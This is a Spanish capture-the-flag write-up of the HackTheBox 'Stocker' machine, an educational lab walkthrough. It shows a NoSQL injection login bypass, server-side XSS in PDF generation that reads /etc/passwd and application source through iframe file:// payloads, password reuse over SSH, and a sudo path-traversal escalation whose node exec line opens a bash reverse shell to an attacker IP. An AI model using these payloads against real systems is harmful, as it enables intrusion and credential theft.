HackTheBox - Stocker


Creado
HackTheBox - Stocker

Máquina Linux nivel fácil. NoSQL Injection, generación de PDFs con campos vulnerables a XSS, lectura de archivos internos mediante ese XSS, credenciales volando y permisos genéricos que permiten ejecutar cualquieeeer objeto que termine en .js, ¿qué puede salir mal? (pista: Traversal :P)

TL;DR (Spanish writeup)

Creada por: JoshSH.

Injeccionando relativamente todo.

Un servidor web de una compañía enfocada en vender productos nos dará la bienvenida a esta máquina.

Encontraremos posible personal relacionado con la compañía y además un subdominio que está en desarrollo aún. En ese subdominio tendremos un login-panel vulnerable a NoSQL Injection (el servidor está siendo alojado con express y node) formateando la data en JSON, usaremos esto para bypassear el login y entra a zonas restringidas.

Dentro existe una funcionalidad para agregar productos en nuestro carrito de compras, los agregamos y nos genera un PDF con la info de la orden. Jugaremos con BurpSuite para detallar esa petición y encontrar campos a los cuales podemos modificarles su contenido, uno de ellos es vulnerable a HTML Injection y posteriormente a XSS Injection, con esto como base, lograremos mediante tags de HTML ver rutas y objetos internos del sistema, todo en el PDF resultante.

Finalmente, encontraremos el archivo principal de todo el aplicativo web, en él veremos unas credenciales usadas para la conexión de base de datos, las reutilizaremos contra SSH para obtener una sesión en el sistema como el usuario angoose.

Nos veremos cara a cara a un permiso que tenemos para ejecutar cualquier objeto que termine en la extensión *.js en una ruta específica, nos saldremos de esa ruta mediante un Path Traversal y ejecutaremos un .js arbitrario, uno que nos otorgara una reverse shell como el usuario root.

Clasificación de la máquina según la gentesita

Paso posiblemente reales, alguno que otro medio juguetón, pero en general se enfoca en ser real.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Pues si pa eso me andas buscando, vaamosle entrando.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Empezaremos como siempre, vamos a descubrir que servicios está alojando la máquina, para ello usaremos la herramienta nmap, él nos listara los puertos (servicios) expuestos:

nmap -p- --open -v 10.10.11.196 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

El escaneo nos devuelve:

Puerto Descripción
22 SSH: Tenemos la posibilidad de generar una terminal de forma segura.
80 HTTP: Se nos presenta un servidor web.

____ (Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

 extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.196
    [*] Open ports: 22,80

[*] Ports copied to clipboard

) ____

Ya teniendo los puertos nos acercaremos a nmap de nuevo, en esta ocasión para pedirle el favor de que nos muestre las versiones de software usadas y además que pruebe distintos scripts que él tiene, a ver si encuentra cositas prometedoras:

nmap -p 22,80 -sCV 10.10.11.196 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y podemos destacar ahoraaa:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80 HTTP nginx 1.18.0
  • El servidor intenta llegar al dominio stocker.htb, pero claro, no entiende que es eso, por lo tanto, genera problemas de conexión, ya miraremos esto.

No hay mucho más, metámosle a la matralla de cabeza (:

Enumeración #

Empezaremos por el servicio web.

Un vistazo al sitio web 📌

Como vimos en el escaneo anterior, el servidor está realizando una redirección contra el dominio stocker.htb, lo que pasa es que actualmente el sistema no entiende ese dominio que significa, entonces si hacemos la petición, obtendremos errores.

Juguemos con el archivo encargado de hacer funcionar ese redireccionamiento.

Este objeto, lo que hace es muy sencillo, intenta resolver una dirección IP hacia un dominio (o subdominio) o viceversa. Entonces, la idea es que el sistema entienda que cuando hacemos una petición hacia la IP 10.10.11.196 queremos que resuelva contra el contenido que encuentre de ella (la IP) en el dominio stocker.htb (en este caso).

El objeto quedaría así:

 cat /etc/hosts
...
10.10.11.196    stocker.htb
...

Y si ahora hacemos la petición web, ya tendríamos contenido sin problemas:

Peeeerfecto, explorando encontramos…

  • Es un sitio que sigue en desarrollo, tienen varios comentarios indicándolo, por lo que ojito.
  • “Click on what you want to order, press purchase and wait 3-6 months for our speedy delivery to get to you”, esta frase le dice a mi mente:
    • Da clic y espera, o sea, probablemente exista una inyección SQL basada en tiempo jlkajlskdjf…
  • Encontramos una persona involucrada en la empresa:

    Pensemos que pueda ser un usuario, quizás angoose, Angoose, Angoose.Garden, etc. Guardémoslo por si algo.

Bien, pues varias cosas informativas, pero nada con lo que podamos jugar realmente. Después de validar código fuente, cookies, archivos alojados en el servidor, pero que no vemos (fuzzing) y otras cositas, finalmente encontramos algo.

Al intentar listar dominios que resuelvan también a la IP (pero ahora que respondan con un contenido distinto (lo que te explique acá)) (que realmente serían subdominios) encontramos uno con ayuda de la herramienta gobuster:

gobuster vhost -u stocker.htb -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Con esto le indicamos:

  • vhost: Es el modo que permite descubrir posible virtual hosting (o sea, fuzzea en el Header Host)
  • -u: Le indicamos cuál es el dominio host, ya toma ese y busca subdominios (Host: HOLA.stocker.htb)
  • -w: Le pasamos un objeto que contiene una lista de palabras, estas las usaremos para simular el HOLA de arriba.

Finalmente nos devuelve:

Epale, tenemos un subdominio, ¿cuál es el siguiente paso? Esato, lo agregamos al /etc/hosts. Su respuesta en la web es esta:

Me gusta, tenemos un panel-login 😃

Entre las tecnologías que usa esta web (apoyados de la extensión Wappalyzer o si no de la herramienta whatweb) encontramos:

Por detrás está corriendo JavaScript, esto nos sirve para tenerlo como referencia por si algo.

Si probamos lo mismo que antes (código fuente, cookies (me quede un buen tiempo ahí), fuzzing) no llegamos a ningún lado ):

Entre las pruebas destacamos:

  • Existe un recurso alojado en /stock el cual al intentar ingresar, nos redirecciona a /login y devuelve el siguiente mensaje:
    • You must be authenticated to access this page.
  • Siempre que hacemos peticiones nos redirige a /login.

Explotación #

Lo siguiente a probar fueron varios brute-force, con wordlist genéricas de usuarios, de inyecciones varias y además aprovechando el posible usuario que vimos en la web principal: angoose (y sus variaciones). Pero nada, nada de nada.

Acá me fui más analítico que automático y encontré este recurso:

En él se listan distintas maneras de jugar con un login para intentar burlarlo, procedemos a interceptar con BurpSuite y a probar cositas…

🧤 Una de las ideas es modificar una cabecera de la petición para hacer que el servidor interprete de forma errónea la solicitud y quizás devuelva errores o incluso generemos el bypass.

Interceptamos la request del login-panel y enviamos al Repeater:

Y jugamos con la cabecera Content-Type, en nuestro caso originalmente contiene:

Content-Type: application/x-www-form-urlencoded

Esto le indica al servidor que estamos enviando data en formato nombre:valor y además que su contenido no es muy grande (info).

Lo que queremos es jugar con data en formato JSON, así validamos si el servidor interpreta, válida y acepta este tipo de peticiones (modificamos la cabecera en Burp):

Content-Type: application/json

Enviamos la petición yyyy:

OJOOOOO, esto nos dice dos cosas básicamente:

  • El servidor interpreta peticiones con data enviada en formato JSON, lo cual se puede tornar peligroso, ya que pueda que en el backend se valide únicamente si llegan en X formato, pero no en todos :O
  • Nos filtra rutas internas del servidor, las guardamos por si algo.

Me gusta, ya tenemos algo.

¿No SQL? ¿Y entonces qué hacemos? 📌

Después de probar payloads y maneras de generar nuevos errores con más detalles, llegamos a la inyección NoSQL:

En el recurso encontramos bastantes payloads a probar, ¿pero… qué es eso de NoSQL Injection? Rápidamente:

💾 NoSQL (not only SQL) , hace referencia al uso de información sobre bases de datos NO relacionales. Esto a diferencia de SQL, no guarda información en tablas, ni filas o de forma organizada. Una de las ventajas es usarlas en entornos con demasiada información (big data por ejemplo), para posteriormente contar con flexibilidad y disponiblidad más rapido.


Listos, ahora si a probar ese tipo de inyecciones. Con más razón, si caemos en cuenta de algo:

🔔🔔🔔 Ya sabemos que está corriendo para mantener el servidor web: node.js (que actual como el “manager”, el que está pendiente de todo lo que pasa con las apps JavaScript desde el lado del servidor) y express.js (que sería el maestro web : un framework para crear apps web, ayuda a simplificar tareas que se harían manualmente).

🔔🔔🔔 Lo que nos permite preguntarnos, ¿cuál base de datos es probable que use node (ya que es el que está realmente en el lado del servidor)? Claramente, puede usar muuuuchas, peeeero encontramos que así como es común ver PHP + MySQL, es común también Node + MongoDB, así que ojito.

Nos interesan los payloads en formato JSON, empezamos por el principio ¿no?

Lo que le decimos es más que intuitivo: si el campo username - no equal - null (si el campo username no está “vacío” (lo mismo para password)) pues deberías dejarnos pasar. Básicamente, validamos que los campos tengan contenido, como es más que probable que estos lo tengan, pues la validación será verdadera (como si hubiéramos puesto credenciales válidas) y el resultado de la query (en caso de no estar sanitizado) sería un completo bypass (:

Enviamos la petición y:

EPALEEEEEEEEEEEEEEEEEEEE, ya no estamos siendo redirigidos a /login, sino que ahora estamos siendo enviados a /stock (que como ya lo comenté antes, es una ruta que solo se puede acceder si estamos autenticadoooooos)

Como aprendizaje podemos pensar que la petición a la base de datos llegaría tal que así:

db.stocker.find( {username:{$ne:null}, password:{$ne:null}} )

Emulando que ese fuera el nombre de la base de datos, vemos el bypass y como devolvería un claro true.

🎇 Lo que vimos en la web principal si era una pista, no de un SQL injection time-based, pero si de una inyección SQL (NoSQL) :P

Ahora sí, sigamos.

Para ver el contenido visual de /stock, tomamos la cookie con la que generamos el bypass, sustituimos la que tenemos (en el navegador) por esa, recargamos y vemos:

Me gusta, recuerdo que también en stocker.htb nos hablaban de agregar productos y que todo fino, veremos…

Si añadimos un producto a nuestro carrito (Add to Basket) y damos clic en View Cart, nos devuelve:

Seguimos el proceso (Submit Purchase) y ahora obtenemos:

Nos genera un link, si lo seguimos los lleva a esta ruta:

http://dev.stocker.htb/api/po/644c04aba786bd4b28fa8e5a

Jmmm, un PDF, una api, datos genéricos de usuario y productos; interceptemos el momento en que damos clic a Submit Purchase a ver como se genera ese PDF y prestemos atención a posibles cosas raras…

Hay varios campos interesantes que reciben texto, podemos intentar jugar con ellos modificando su contenido, agregando, posibles nuevas inyecciones, quizás comandos, inclusión local de archivos en el campo image, etc.

Server Side XXS (jugando con un PDF travieso) 📌

Entre esas pruebas encontramos un HTML Injection (que abre la puerta a un XSS) en el campo title:

Enviamos la petición, tomamos el orderId generado, lo colocamos en la URL y encontramos:

Bien, estamos inyectando el tag de HTML h1 (header 1, que sería el más “visible”). Al no encontrar nuevos vectores (ya que jugar con un XSS no lo veía tan viable) exploramos a fondo esta curiosa inyección.

Buscando en internet maneras de darle sentido a esto, encontramos algo llamado Server Side XSS (Dynamic PDF):

La descripción es muy “lo que necesitábamos encontrar jajaj”:

⌨️ “If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.” ~ hacktricks.

Ópale, interesanteeee.

Ya vimos que uno de los input está siendo interpretado y podemos inyectarle cositas HTML. Por lo que probemos con los payloads ofrecidos:

<!-- Para ver la ruta del sistema donde esta alojado
//  el documento (en este caso el PDF generado). -->
<script>document.write(window.location)</script>

OOOJOOOOO, vemos la ruta interna del PDF, ¿recuerdas que ya habíamos visto el path /var/www/dev/ en un error? Ha de ser el root del proyecto, tengámoslo en cuenta.

Probemos algo más intrusivo:

<!-- Para leer archivos internos. -->
<iframe src=file:///etc/passwd></iframe>
<!-- Un iframe agrega un documento HTML dentro de otro HTML,
     se usa mucho en clickjacking. -->

ESAVAINAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Tenemos una inclusión local de archivos con ayuda del URI file, me gusta.

La cosa es que está muy pequeño y no detallamos todo el contenido, pero nada, no hay problema, para ello modificamos el style del tag y tamos. Yo le puse <iframe style='width:1000px; height:1000px' ...>.

  • Viendo el archivo de usuarios (passwd) solo existen dos interesantes, root y angoose.

Ya podemos ver archivos internos, ¿pero? ¿Qué archivo buscamos? Después de algunas pruebas recordé la posible ruta del proyecto:

/var/www/dev/

Si ahí presuntamente se aloja todo el proyecto, podríamos buscar el archivo principal, ¿no? Algún app.js o index.js, entre otras opciones…

Al generar el PDF intentando ver el archivo /var/www/dev/index.js nos muestra:

ESOOO, encontramos el archivo con toda la lógica principal del sitio web sobre dev.stocker.htb yyyy a su vez, vemos las credenciales con las que se está conectando a la base de datos.

Ya que tenemos credenciales, una de las pruebas siempre es intentar reutilizarlas, en este caso son usadas contra MongoDB, pero, ¿qué tal que sean válidas también contra SSH? Además ya tenemos dos usuarios a probar, dev y root, testemos:

ssh angoose@stocker.htb

Efectivamente, el administrador del sitio fue muy perezoso y asigno la misma contraseña a los dos servicios, mal ahí. Tamos dentro, a seguir rompiendo.

Escalada de privilegios #

Revisando los permisos que tenemos en el sistema como otros usuarios (sudo) encontramos:

angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

Podemos ejecutar todos los objetos terminados en .js (scripts escritos en JavaScript) que estén dentro del directorio /usr/local/scripts/, revisémoslo:

angoose@stocker:~$ ls -la /usr/local/scripts/

Existen varios, pero no tenemos acceso de lectura contra ellos, y si los ejecutamos, en algunos el output es nulo o simplemente no nos dice nada importante. El enfoque sería aprovechar algún script de esos o intentar engañar al sistema de alguna manera.

Después de un rato intentando descubrir que se podría hacer, pensé “oiga, pero, ¿ese permiso realmente solo permite ejecutar los scripts que estén dentro de esa ruta?”.

Y después de otro raro probando, llegue a una prueba poderosa.

Ese wildcard (el *) abre la puerta para que tome cualquier archivo que termine en .js como ya dijimos, peeeeeeero, tiene que ser en esa ruta?????? Y si ejecutamos algo tal que:

sudo /usr/bin/node /usr/local/scripts/../../../../../tmp/test/holacomoestas.js

El objeto final tiene el .js y empezamos con el path válido, por lo que el permiso se cumple, A JUGAR:

Ihssss, está intentando ejecutarloooooo, todo esto mediante un Path Traversal. Así que listooos, ya tenemos claro que es lo siguiente a hacer…

Busquemos maneras de ejecutar comandos en el sistema con ayuda de JavaScript.

Se nos indica que podemos hacerlo apoyados de node, así que finos. Con en el módulo child_process (que se asemeja a subprocess en Python) podemos pasarle la función exec y junto el comando a ejecutar:

const { exec } = require('child_process');

exec('your-command-here', (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
  console.error(`stderr: ${stderr}`);
});

Obtengamos una reverse shell, pero antes creemos un entorno de trabajo (mkdir /tmp/test), armemos el archivo .js (touch holacomoestas.js) y démosle permisos de ejecución (chmod +x !$ o chmod +x holacomoestas.js).

En el objeto .js agregamos el comando para la rev sh:

...
exec('bash -c "bash -i >& /dev/tcp/10.10.14.18/4433 0>&1"', (error, stdout, stderr) => {
...

En nuestra máquina nos ponemos en escucha mediante netcat por el puerto 4433 (nc -lvp 4433).

Yyyy ahora volvemos a ejecutar el permiso contra el archivo (que ahora si existe) a ver si nos envía la bash hacia la IP y puerto donde estamos escuchando…

EJECUTAMOOOOOOS yyyyy:

TENEMOS UNA REVERSE SHELL COMO EL USUARIO root (::: Veamos las flags.

Y hasta acá llegamos en el writeup ;)

Me gusto mucho la intrusión, creo que no me había topado aún con una máquina a la cual se le explotase un NoSQL, y menos con JSON, así que brutal.

Lo del PDF también me rompió la cabeza, bien chévere y loco el aprovechar ese runtime para que el gestor del PDF se ponga travieso e interprete cosas peligrosas.

La escalada también estuvo interesante, mucho más fácil, pero lo veo un fallo muy real de algún usuario o administrador.

Eso fue todo con esta máquina, a practicar mucho y a disfrutar el proceso. Nos leemos después, besitooooooos y a romper de todo!!!!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus